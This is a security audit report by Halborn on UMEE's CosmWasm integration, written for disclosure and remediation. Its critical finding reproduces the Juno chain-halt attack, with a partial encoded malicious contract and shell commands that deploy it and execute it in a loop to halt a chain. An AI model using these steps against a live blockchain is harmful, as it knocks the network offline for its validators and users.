



**UMEE**

# WASM Integration Security Audit

Prepared by: **Halborn**

Date of Engagement: **July 5th, 2022 - July 30th, 2022**

Visit: **[Halborn.com](https://halborn.com)**

DOCUMENT REVISION HISTORY	5
CONTACTS	6
1 EXECUTIVE OVERVIEW	7
1.1 INTRODUCTION	8
1.2 AUDIT SUMMARY	8
1.3 TEST APPROACH & METHODOLOGY	8
RISK METHODOLOGY	9
1.4 SCOPE	11
2 ASSESSMENT SUMMARY & FINDINGS OVERVIEW	12
3 FINDINGS & TECH DETAILS	13
3.1 (HAL-01) VULNERABLE WASM SMART CONTRACT LEADS TO CHAIN HALT - CRITICAL	15
Description	15
Juno Halt Root Cause Steps	15
Proof Of Concept	16
Code Location	17
Risk Level	18
Recommendation	18
Remediation Plan	19
3.2 (HAL-02) WASM CONFIG PARAMETERS ARE NOT COMPATIBLE WITH RECENT COSMWASM SDK - LOW	20
Description	20
Code Location	20
Risk Level	20
Recommendation	20

Remediation Plan	21
3.3 (HAL-03) NEW QUERIES ARE NOT ADDED INTO THE HANDLER - LOW	22
Description	22
Code Location	22
Risk Level	23
Recommendation	23
Remediation Plan	23
3.4 (HAL-04) VULNERABLE 3RD PARTY PACKAGES - INFORMATIONAL	24
Description	24
Packages	24
Risk Level	24
Recommendation	24
Remediation Plan	24
3.5 (HAL-05) UNHANDLED ERRORS - INFORMATIONAL	25
Description	25
Code Location	25
Risk Level	26
Recommendation	26
Remediation Plan	26
3.6 (HAL-06) DUPLICATED ERROR CHECKS - INFORMATIONAL	27
Description	27
Code Location	27
Risk Level	28
Recommendation	28
Remediation Plan	28
3.7 (HAL-07) HTML ESCAPING NOT IMPLEMENTED - INFORMATIONAL	29

	Description	29
	Code Location	29
	Risk Level	29
	Recommendation	29
	Remediation Plan	30
3.8	(HAL-08) PANIC IS USED FOR ERROR HANDLING - INFORMATIONAL	31
	Description	31
	Code Location	31
	Risk Level	32
	Recommendation	32
	Remediation Plan	32
3.9	(HAL-09) OPEN TODOs - INFORMATIONAL	33
	Description	33
	Code Location	33
	TO-DO	33
	Risk Level	33
	Recommendation	33
	Remediation Plan	34
4	AUTOMATED TESTING	35
	Description	36
	Semgrep - Security Analysis Output Sample	36
	Semgrep Results	37
	Gosec - Security Analysis Output Sample	38
	Staticcheck - Security Analysis Output Sample	38
	Nancy - Security Analysis Output Sample	39



## DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	07/05/2022	Chris Meistre
0.2	Document Edits	07/28/2022	Gokberk Gulgun
0.3	Document Review	07/29/2022	Gabi Urrutia
1.0	Remediation Plan	08/29/2022	Chris Meistre
1.1	Remediation Plan Updates	08/30/2022	Gokberk Gulgun
1.2	Remediation Plan Review	08/31/2022	Gabi Urrutia

# CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	<a href="mailto:Rob.Behnke@halborn.com">Rob.Behnke@halborn.com</a>
Steven Walbroehl	Halborn	<a href="mailto:Steven.Walbroehl@halborn.com">Steven.Walbroehl@halborn.com</a>
Gabi Urrutia	Halborn	<a href="mailto:Gabi.Urrutia@halborn.com">Gabi.Urrutia@halborn.com</a>
Gokberk Gulgun	Halborn	<a href="mailto:Gokberk.Gulgun@halborn.com">Gokberk.Gulgun@halborn.com</a>
Chris Meistre	Halborn	<a href="mailto:Chris.Meistre@halborn.com">Chris.Meistre@halborn.com</a>
John Saigle	Halborn	<a href="mailto:John.Saigle@halborn.com">John.Saigle@halborn.com</a>



# EXECUTIVE OVERVIEW





## 1.1 INTRODUCTION

UMEE engaged Halborn to conduct a security audit on their CosmWasm integration, beginning on July 5th, 2022 and ending on July 30th, 2022. The security assessment was scoped to the GitHub repository provided to the Halborn team.

## 1.2 AUDIT SUMMARY

The team at Halborn was provided nearly three weeks for the engagement and assigned two full-time security engineers to audit the security of the CosmWasm integration. The security engineers are blockchain and smart-contract security experts with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit to achieve the following:

- Ensure that the CosmWasm integration functions as intended.
- Identify potential security issues with the UMEE Team.

In summary, Halborn identified a few security risks that should be addressed by UMEE Team.

## 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the CosmWasm integration. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of structures and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Static Analysis of security for scoped repository, and imported functions. (`staticcheck`, `gosec`, `unconvert`, `LGTM`, `ineffassign` and `semgrep`)
- Manual Assessment for discovering security vulnerabilities on code-base.
- Ensuring correctness of the codebase.
- Dynamic Analysis on CosmWasm integration functions and data types.

### RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

#### RISK SCALE - LIKELIHOOD

- 5 - Almost certain an incident will occur.
- 4 - High probability of an incident occurring.
- 3 - Potential of a security incident in the long term.
- 2 - Low probability of an incident occurring.
- 1 - Very unlikely issue will cause an incident.

#### RISK SCALE - IMPACT

- 5 - May cause devastating and unrecoverable impact or loss.
- 4 - May cause a significant level of impact or loss.
- 3 - May cause a partial impact or loss to many.
- 2 - May cause temporary impact or loss.
- 1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating

a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
----------	------	--------	-----	---------------

10 - CRITICAL

9 - 8 - HIGH

7 - 6 - MEDIUM

5 - 4 - LOW

3 - 1 - VERY LOW AND INFORMATIONAL

## 1.4 SCOPE

### IN-SCOPE:

The security assessment was scoped to [umee-network/umee](#) repository.

[Branch](#)

[Pull Request](#)

### IN-SCOPE MODULES:

- CosmWasm integration.

### FIXED MERGED ISSUES :

- HAL-04 : <https://github.com/umee-network/umee/issues/1193>.
- HAL-05 : <https://github.com/umee-network/umee/issues/1192>.
- HAL-06 : <https://github.com/umee-network/umee/issues/1194>.
- HAL-07 : <https://github.com/umee-network/umee/issues/1195>.

## 2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	0	0	2	6

### LIKELIHOOD

IMPACT

				(HAL-01)
(HAL-02) (HAL-03)				
(HAL-04)				
(HAL-05) (HAL-06) (HAL-07) (HAL-08) (HAL-09)				

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-01 - VULNERABLE WASM SMART CONTRACT LEADS TO CHAIN HALT	Critical	FUTURE RELEASE
HAL-02 - WASM CONFIG PARAMETERS ARE NOT COMPATIBLE WITH RECENT COSMWASM SDK	Low	FUTURE RELEASE
HAL-03 - NEW QUERIES ARE NOT ADDED INTO THE HANDLER	Low	FUTURE RELEASE
HAL-04 - VULNERABLE 3RD PARTY PACKAGES	Low	FUTURE RELEASE
HAL-05 - UNHANDLED ERRORS	Informational	SOLVED - 08/29/2022
HAL-06 - DUPLICATED ERROR CHECKS	Informational	SOLVED - 08/29/2022
HAL-07 - HTML ESCAPING NOT IMPLEMENTED	Informational	SOLVED - 08/29/2022
HAL-08 - PANIC IS USED FOR ERROR HANDLING	Informational	ACKNOWLEDGED
HAL-09 - OPEN TODOs	Informational	ACKNOWLEDGED



# FINDINGS & TECH DETAILS



## 3.1 (HAL-01) VULNERABLE WASM SMART CONTRACT LEADS TO CHAIN HALT - CRITICAL

### Description:

A vulnerability in the **WASM** integration and the **authz** module in the **cosmos-sdk** has been detected, and was recently exploited to halt another chain (JUNO). In the vulnerability, A smart contract abused non-deterministic state in **authz** grants to save a different hash to all validators.

### Juno Halt Root Cause Steps:

- An attacker is deployed a malicious contract on the Juno.
- A malicious contract is located on the [Mint Scan](#).

Messages

Store Code

Sender	<a href="#">juno1h3ede2xsl2a533iddsjpfzv56z7cmctpdsm924</a>
Code Id	578
Byte Code	<pre> H4slAAAAAAAA/9y9DXBe13UYeP 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 </pre>

- During the review of malicious contract, It has been observed that an attacker's contract is calling Authz Module `MsgGrant` and `MsgRevoke`.



```

"events": [
  {
    "type": "cosmos.authz.v1beta1.EventGrant",
    "attributes": [
      {
        "key": "msg_type_url",
        "value": "\"/cosmos.bank.v1beta1.MsgSend\""
      },
      {
        "key": "granter",
        "value": "\"juno1nzffwccpc43s97zna2z9q7mpwlj0frwdcq5trpvtmz5dna7r48hs6cgj3w\""
      },
      {
        "key": "grantee",
        "value": "\"juno1h3ede2xsl2a533lddsjpgfzv56z7cmctpdsm924\""
      }
    ]
  },
  {
    "type": "cosmos.authz.v1beta1.EventRevoke",
    "attributes": [
      {
        "key": "granter",
        "value": "\"juno1nzffwccpc43s97zna2z9q7mpwlj0frwdcq5trpvtmz5dna7r48hs6cgj3w\""
      }
    ]
  }
]

```

- The smart contract leads to a non-determinism in Authz's **MsgGrant** where the grant expiration was suspected to default to the node's OS time if unset by the message sender.
- The **reply()** feature of CosmWasm allows calling a message and getting back its output events. With a couple of messages, a non-deterministic event ordering occurred in the Authz module, which causes chain halt.

#### Proof Of Concept:

A summary of the steps:

- Deploy malicious contract to UMEE.
- Execute **MsgExecuteContract** in a loop.
- The chain will be halted.

**Listing 1:** Deploy malicious WASM contract proposal into the UMEE with this command

```

1 echo y | umeed tx gov submit-proposal wasm-store malicious.wasm --
↳ title "JUNO POC" --run-as $(umeed keys show user1 --keyring-

```

```

↳ backend=test -a) --chain-id testhub --description "JUNO POC" --
↳ from user1 --keyring-backend test --gas 100000000 -b block 1>/dev/
↳ null 2>/dev/null
2
3 echo y|umeed tx gov deposit 1 100000000uumeed --from user1 --
↳ keyring-backend test --chain-id testhub -y -b block --gas 7000000
↳ --gas-prices 0.025uumeed 1>/dev/null 2>/dev/null
4 echo y|umeed tx gov vote 1 yes --from user1 --keyring-backend test
↳ --chain-id testhub -y -b block --gas 400000 --gas-prices 0.025
↳ uumeed 1>/dev/null 2>/dev/null
5
6 echo y|umeed tx gov deposit 1 100000000uumeed --from user2 --
↳ keyring-backend test --chain-id testhub -y -b block --gas 7000000
↳ --gas-prices 0.025uumeed 1>/dev/null 2>/dev/null
7 echo y|umeed tx gov vote 1 yes --from user2 --keyring-backend test
↳ --chain-id testhub -y -b block --gas 400000 --gas-prices 0.025
↳ uumeed 1>/dev/null 2>/dev/null

```

**Listing 2:** Instantiate contract with this parameter.

```

1 INIT="{\"admin\": \"address\"}"
2 echo y|umeed tx wasm instantiate 1 "$INIT" --admin $(umeed keys
↳ show user1 --keyring-backend=test -a) --from user1 --keyring-
↳ backend test --amount="100uumeed" --label "juno-poc" --gas 1000000
↳ -y --chain-id testhub -b block

```

**Listing 3:** Call MsgExecuteContract with this command in a for loop. An attacker sent 150 Messages through contract

```

1 MESSAGE="{\"custom_msg1\": {\"grantee\": \"$(umeed keys show user1
↳ --keyring-backend=test -a)\"}\""
2 umeed tx wasm execute $CONTRACT_ADDR "$MESSAGE" --from user1 --
↳ keyring-backend test --chain-id testhub -y -b block --gas
↳ 100000000

```

Chain will be halted due to non-deterministic state.

Code Location:

Location

## Listing 4

```

1    github.com/CosmWasm/wasmd v0.25.0
2    github.com/CosmWasm/wasmvm v1.0.0-beta10
3    github.com/cosmos/cosmos-sdk v0.45.6
4    github.com/cosmos/go-bip39 v1.0.0
5    github.com/cosmos/ibc-go/v2 v2.3.0
6    github.com/ethereum/go-ethereum v1.10.19
7    github.com/gogo/protobuf v1.3.3
8    github.com/golang/protobuf v1.5.2
9    github.com/golangci/golangci-lint v1.47.1
10   github.com/gorilla/mux v1.8.0
11   github.com/grpc-ecosystem/grpc-gateway v1.16.0
12   github.com/hashicorp/golang-lru v0.5.5-0.20210104140557-80
    ↪ c98217689d
13   github.com/ignite/cli v0.22.2
14   github.com/ory/dockertest/v3 v3.9.1
15   github.com/osmosis-labs/bech32-ibc v0.2.0-rc2
16   github.com/rs/zerolog v1.27.0
17   github.com/spf13/cast v1.5.0
18   github.com/spf13/cobra v1.5.0
19   github.com/spf13/pflag v1.0.5
20   github.com/spf13/viper v1.12.0
21   github.com/stretchr/testify v1.8.0
22   github.com/tendermint/tendermint v0.34.19
23   github.com/tendermint/tm-db v0.6.7
24   google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd
25   google.golang.org/grpc v1.46.2
26   gopkg.in/yaml.v3 v3.0.1

```

## Risk Level:

Likelihood - 5

Impact - 5

## Recommendation:

The following update has been released for `cosmos-sdk` & `wasm` which should be applied before this integration is released publicly:

PR 12692

Wasm Fix

Cosmos SDK Update

Take note that this has been fixed in the latest version of `cosmos-sdk` & `wasm`, but deploying this upgrade might have unintended consequences.

Remediation Plan:

**PENDING:** The `UMEE Team` does not allow contracts to be executed without permission on the chain, they will consider fixing in the future.

## 3.2 (HAL-02) WASM CONFIG PARAMETERS ARE NOT COMPATIBLE WITH RECENT COSMWASM SDK - LOW

### Description:

During the code review, It has been noticed that the pre-defined parameters are incompatible with the recent **wasmd** keeper. From the following [link](#), **DefaultCompileCost** is incompatible with recent wasmd module. On the other hand, **DefaultGasMultiplier** is not defined.

### Code Location:

#### Location

#### Listing 5

```
1 const (
2     // DefaultUmeeWasmInstanceCost is initially set the same as in
3     wasmd
4     DefaultUmeeWasmInstanceCost uint64 = 60_000
5     // DefaultUmeeWasmCompileCost cost per byte compiled
6     DefaultUmeeWasmCompileCost uint64 = 100
7 )
```

### Risk Level:

**Likelihood - 1**

**Impact - 3**

### Recommendation:

Ensure that all selected values are compatible with recent wasmd and will not lead to any inconsistency on the integration.

### Remediation Plan:

**PENDING:** The **UMEE Team** will fix this issue in a future release.

### 3.3 (HAL-03) NEW QUERIES ARE NOT ADDED INTO THE HANDLER - LOW

#### Description:

In the recent branch, **SlashWindow** query has been added. **SlashWindow** queries the current slash window progress of the oracle. However, the query is not added into the wasm handlers.

#### Code Location:

#### Location

##### Listing 6

```

1 func (q querier) SlashWindow(
2     goCtx context.Context,
3     req *types.QuerySlashWindow,
4 ) (*types.QuerySlashWindowResponse, error) {
5     if req == nil {
6         return nil, status.Error(codes.InvalidArgument, "empty
↳ request")
7     }
8
9     ctx := sdk.UnwrapSDKContext(goCtx)
10    params := q.GetParams(ctx)
11
12    slashWindow := params.SlashWindow
13    votePeriod := params.VotePeriod
14    currentBlock := uint64(ctx.BlockHeight())
15    votePeriodsPerSlashWindow := slashWindow / votePeriod
16
17    currentSlashWindow := currentBlock / votePeriodsPerSlashWindow
18    blocksIntoSlashWindow := currentBlock - (currentSlashWindow *
↳ slashWindow)
19
20    return &types.QuerySlashWindowResponse{
21        WindowProgress: blocksIntoSlashWindow / votePeriod,
22    }, nil
23 }

```

## Risk Level:

Likelihood - 1

Impact - 3

## Recommendation:

It is recommended to handle all available **GRPC** queries through wasm.

## Remediation Plan:

**PENDING:** The **UMEE Team** will fix this issue in a future release.



## 3.4 (HAL-04) VULNERABLE 3RD PARTY PACKAGES - INFORMATIONAL

### Description:

There are a few 3rd party packages that are being used that contain vulnerabilities.

### Packages:

ID	Package	Rating	Description
<a href="#">sonatype-2021-0598</a>	tendermint	MEDIUM	Improper Input Validation
<a href="#">sonatype-2022-3945</a>	go-buffer-poo	MEDIUM	Integer Overflow or Wraparound
<a href="#">sonatype-2021-0456</a>	websocket	HIGH	Uncontrolled Resource Consumption
<a href="#">sonatype-2021-0076</a>	go-ethereum	HIGH	Uncontrolled Resource Consumption
<a href="#">CVE-2022-23328</a>	go-ethereum	HIGH	Denial of Service attack

### Risk Level:

**Likelihood - 1**

**Impact - 2**

### Recommendation:

We recommend that all third-party packages that are implemented are kept up to date and all security fixes applied.

### Remediation Plan:

**PENDING:** The **UMEE Team** will fix this issue in a future release.

## 3.5 (HAL-05) UNHANDLED ERRORS - INFORMATIONAL

### Description:

There are a few instances where error handling has not been implemented for functions that might return an error.

### Code Location:

[price-feeder/oracle/provider/huobi.go](#), Lines 384-387

#### Listing 7: (Line 385)

```
384 func (p *HuobiProvider) reconnect() error {  
385     p.wsClient.Close()  
386  
387     p.logger.Debug().Msg("reconnecting websocket")
```

[price-feeder/oracle/provider/gate.go](#), Lines 548-551

#### Listing 8: (Line 549)

```
548 func (p *GateProvider) reconnect() error {  
549     p.wsClient.Close()  
550  
551     p.logger.Debug().Msg("reconnecting websocket")
```

[price-feeder/oracle/provider/coinbase.go](#), Lines 482-485

#### Listing 9: (Line 483)

```
482 func (p *CoinbaseProvider) reconnect() error {  
483     p.wsClient.Close()  
484  
485     p.logger.Debug().Msg("reconnecting websocket")
```

price-feeder/oracle/provider/binance.go, Lines 362-366

Listing 10: (Line 363)

```
362 func (p *BinanceProvider) reconnect() error {  
363     p.wsClient.Close()  
364  
365     p.logger.Debug().Msg("reconnecting websocket")
```

Risk Level:

Likelihood - 1

Impact - 1

Recommendation:

We recommend that the appropriate error checking be implemented to avoid unexpected crashes.

Remediation Plan:

**SOLVED:** The **UMEE Team** has implemented the correct error handling on [Issue 1192](#).

## 3.6 (HAL-06) DUPLICATED ERROR CHECKS - INFORMATIONAL

### Description:

There are two instances where an error check is not required, and the logic can be adjusted to only return the value.

### Code Location:

x/leverage/types/tx.go, Lines 115-121

#### Listing 11: (Lines 117-120)

```
115 func (msg *MsgDecollateralize) ValidateBasic() error {  
116     _, err := sdk.AccAddressFromBech32(msg.Borrower)  
117     if err != nil {  
118         return err  
119     }  
120     return nil  
121 }
```

x/leverage/types/tx.go, Lines 86-92

#### Listing 12: (Lines 88-91)

```
86 func (msg *MsgCollateralize) ValidateBasic() error {  
87     _, err := sdk.AccAddressFromBech32(msg.Borrower)  
88     if err != nil {  
89         return err  
90     }  
91     return nil  
92 }
```

Risk Level:

Likelihood - 1

Impact - 1

Recommendation:

As the `err` variable will already be `nil` if no error has been generated by the function, the following piece of code will be sufficient:

#### Listing 13

```
1 _, err := sdk.AccAddressFromBech32(msg.Borrower)
2 return err
```

Remediation Plan:

**SOLVED:** The `UMEE Team` has implemented the correct error handling on [Issue 1194](#).

## 3.7 (HAL-07) HTML ESCAPING NOT IMPLEMENTED – INFORMATIONAL

### Description:

It was found that `Write` is being used to generate HTTP responses, instead of using the `html/template` package that handles HTML and other encodings more safely.

### Code Location:

`price-feeder/router/v1/router.go`, Line 113

#### Listing 14: (Line 113)

```
113      _, _ = w.Write(gr.Metrics)
```

`price-feeder/router/v1/response.go`, Line 48

#### Listing 15: (Line 48)

```
48      _, _ = w.Write(bz)
```

### Risk Level:

**Likelihood - 1**

**Impact - 1**

### Recommendation:

It is recommended to use the `html/template` package when returning data back during an HTTP response.

### Remediation Plan:

**SOLVED:** The **UMEE Team** has implemented the correct error handling on **Issue 1195**.

## 3.8 (HAL-08) PANIC IS USED FOR ERROR HANDLING – INFORMATIONAL

### Description:

Several instances of the `panic` function were identified in the codebase. They appear to be used to handle errors. This can cause potential issues, as invoking a panic can cause the program to halt execution and crash in some cases. This in turn can negatively impact the availability of the software for users.

### Code Location:

The following are just a few samples of the usage of `panic`.

`x/leverage/abci.go`, Lines 11-21

#### Listing 16: (Lines 13,17)

```
11 func EndBlocker(ctx sdk.Context, k keeper.Keeper) []abci.  
↳ ValidatorUpdate {  
12     if err := k.SweepBadDebts(ctx); err != nil {  
13         panic(err)  
14     }  
15  
16     if err := k.AccrueAllInterest(ctx); err != nil {  
17         panic(err)  
18     }  
19  
20     return []abci.ValidatorUpdate{}  
21 }
```

`xx/leverage/keeper/keeper.go`, Lines 64-66

#### Listing 17: (Line 65)

```
64     if k.hooks != nil {  
65         panic("leverage hooks already set")  
66     }
```



Risk Level:

Likelihood - 1

Impact - 1

Recommendation:

Instead of using panics, custom errors should be defined and handled according to the [Cosmos best practices](#).

Remediation Plan:

ACKNOWLEDGED: The [UMEE Team](#) acknowledged this finding.

## 3.9 (HAL-09) OPEN TODOs - INFORMATIONAL

### Description:

Open To-dos can point to architecture or programming issues that still need to be resolved. Often these kinds of comments indicate areas of complexity or confusion for developers. This provides value and insight to an attacker who aims to cause damage to the protocol.

### Code Location:

### TO-DO:

#### Listing 18: Open Todos

```
1 ./x/leverage/module.go:28:      // TODO: Ensure x/leverage
   ↳ implements simulator and then uncomment.
2 ./x/leverage/keeper/interest.go:164:  // TODO: use typed events
3 ./x/leverage/keeper/interest.go:76:  // @todo fix this
   ↳ when tendermint solves #8773
```

### Risk Level:

**Likelihood - 1**

**Impact - 1**

### Recommendation:

Consider resolving the To-dos before deploying code to a production context. Use an independent issue tracker or other project management software to track development tasks.

Remediation Plan:

ACKNOWLEDGED: The **UMEE Team** acknowledged this finding.



# AUTOMATED TESTING



### Description:

Halborn used automated testing techniques to enhance coverage of certain areas of the scoped component. Among the tools used were staticcheck, gosec, semgrep, unconvert, LGTM and Nancy. After Halborn verified all the contracts and scoped structures in the repository and was able to compile them correctly, these tools were leveraged on scoped structures. With these tools, Halborn can statically verify security related issues across the entire codebase.

### Semgrep - Security Analysis Output Sample:

#### Listing 19: Rule Set

```
1 semgrep --config "p/dgryski.semgrep-go" x --exclude='*_test.go' --  
↳ max-lines-per-finding 1000 --no-git-ignore -o dgryski.semgrep  
2 semgrep --config "p/owasp-top-ten" x --exclude='*_test.go' --max-  
↳ lines-per-finding 1000 --no-git-ignore -o owasp-top-ten.semgrep  
3 semgrep --config "p/r2c-security-audit" x --exclude='*_test.go' --  
↳ max-lines-per-finding 1000 --no-git-ignore -o r2c-security-audit.  
↳ semgrep  
4 semgrep --config "p/r2c-ci" x --exclude='*_test.go' --max-lines-  
↳ per-finding 1000 --no-git-ignore -o r2c-ci.semgrep  
5 semgrep --config "p/ci" x --exclude='*_test.go' --max-lines-per-  
↳ finding 1000 --no-git-ignore -o ci.semgrep  
6 semgrep --config "p/golang" x --exclude='*_test.go' --max-lines-  
↳ per-finding 1000 --no-git-ignore -o golang.semgrep  
7 semgrep --config "p/trailofbits" x --exclude='*_test.go' --max-  
↳ lines-per-finding 1000 --no-git-ignore -o trailofbits.semgrep
```

Semgrep Results:

x/oracle/types/query.pb.gw.go

**trailofbits.go.questionable-assignment.questionable-assignment**

Should `protoReq` be modified when an error could be returned?

Details: <https://sg.run/qq6y>

```

52 | protoReq.Denom, err = runtime.String(val)
   | -----
79 | protoReq.Denom, err = runtime.String(val)
   | -----
124 | protoReq.ValidatorAddr, err = runtime.String(val)
    | -----
151 | protoReq.ValidatorAddr, err = runtime.String(val)
    | -----
178 | protoReq.ValidatorAddr, err = runtime.String(val)
    | -----
205 | protoReq.ValidatorAddr, err = runtime.String(val)
    | -----
232 | protoReq.ValidatorAddr, err = runtime.String(val)
    | -----
259 | protoReq.ValidatorAddr, err = runtime.String(val)
    | -----
304 | protoReq.ValidatorAddr, err = runtime.String(val)
    | -----
331 | protoReq.ValidatorAddr, err = runtime.String(val)

```

## Gosec - Security Analysis Output Sample:

```
[/media/sf_Work/Halborn/AUDIT/UMEE/umee/x/operations/operations.go:25] - G101 (CWE-798): Potential
hardcoded credentials (Confidence: LOW, Severity: HIGH)
 25:      OpWeightMsgAggregateExchangeRateVote = "op_weight_msg_exchange_rate_aggregate_vote"
> 26:      OpWeightMsgDelegateFeedConsent      = "op_weight_msg_exchange_feed_consent"
 27:

[/media/sf_Work/Halborn/AUDIT/UMEE/umee/x/operations/operations.go:25] - G101 (CWE-798): Potential
hardcoded credentials (Confidence: LOW, Severity: HIGH)
 24:      OpWeightMsgAggregateExchangeRatePrevote = "op_weight_msg_exchange_rate_aggregate_prevote"
> 25:      OpWeightMsgAggregateExchangeRateVote = "op_weight_msg_exchange_rate_aggregate_vote"
 26:      OpWeightMsgDelegateFeedConsent        = "op_weight_msg_exchange_feed_consent"

[/media/sf_Work/Halborn/AUDIT/UMEE/umee/x/operations/operations.go:24] - G101 (CWE-798): Potential
hardcoded credentials (Confidence: LOW, Severity: HIGH)
 23: const (
> 24:      OpWeightMsgAggregateExchangeRatePrevote = "op_weight_msg_exchange_rate_aggregate_prevote"
 25:      OpWeightMsgAggregateExchangeRateVote     = "op_weight_msg_exchange_rate_aggregate_vote"

[/media/sf_Work/Halborn/AUDIT/UMEE/umee/x/leverage/client/cli/proposal.go:16] - G304 (CWE-22): Potential f
ile inclusion via variable (Confidence: HIGH, Severity: MEDIUM)
 15:
> 16:      contents, err := ioutil.ReadFile(proposalFile)
 17:      if err != nil {
```

## Staticcheck - Security Analysis Output Sample:

```
ibctransfer/keeper/keeper_test.go:13:2: package "github.com/cosmos/ibc-go/v2/modules/apps/transfer/types" is
being imported more than once (SA1019)
    ibctransfer/keeper/keeper_test.go:14:2: other import of "github.com/cosmos/ibc-go/v2/modules/apps/tra
nsfer/types"
leverage/types/query.pb.gw.go:16:2: "github.com/golang/protobuf/descriptor" is deprecated: See the "google.gola
ng.org/protobuf/reflect/protorelect" package for how to obtain an EnumDescriptor or MessageDescriptor in o
rder to programatically interact with the protobuf type system. (SA1019)
leverage/types/query.pb.gw.go:17:2: "github.com/golang/protobuf/proto" is deprecated: Use the "google.golang.
org/protobuf/proto" package instead. (SA1019)
leverage/types/query.pb.gw.go:33:9: descriptor.ForMessage is deprecated: Not all concrete message types satis
fy the Message interface. Use MessageDescriptorProto instead. If possible, the calling code should be rewritt
en to use protobuf reflection instead. See package "google.golang.org/protobuf/reflect/protorelect" for deta
ils. (SA1019)
oracle/keeper/msg_server_test.go:11:2: package "github.com/umee-network/umee/v2/x/oracle/types" is being impo
rted more than once (SA1019)
    oracle/keeper/msg_server_test.go:12:2: other import of "github.com/umee-network/umee/v2/x/oracle/type
s"
oracle/types/query.pb.gw.go:16:2: "github.com/golang/protobuf/descriptor" is deprecated: See the "google.gola
ng.org/protobuf/reflect/protorelect" package for how to obtain an EnumDescriptor or MessageDescriptor in ord
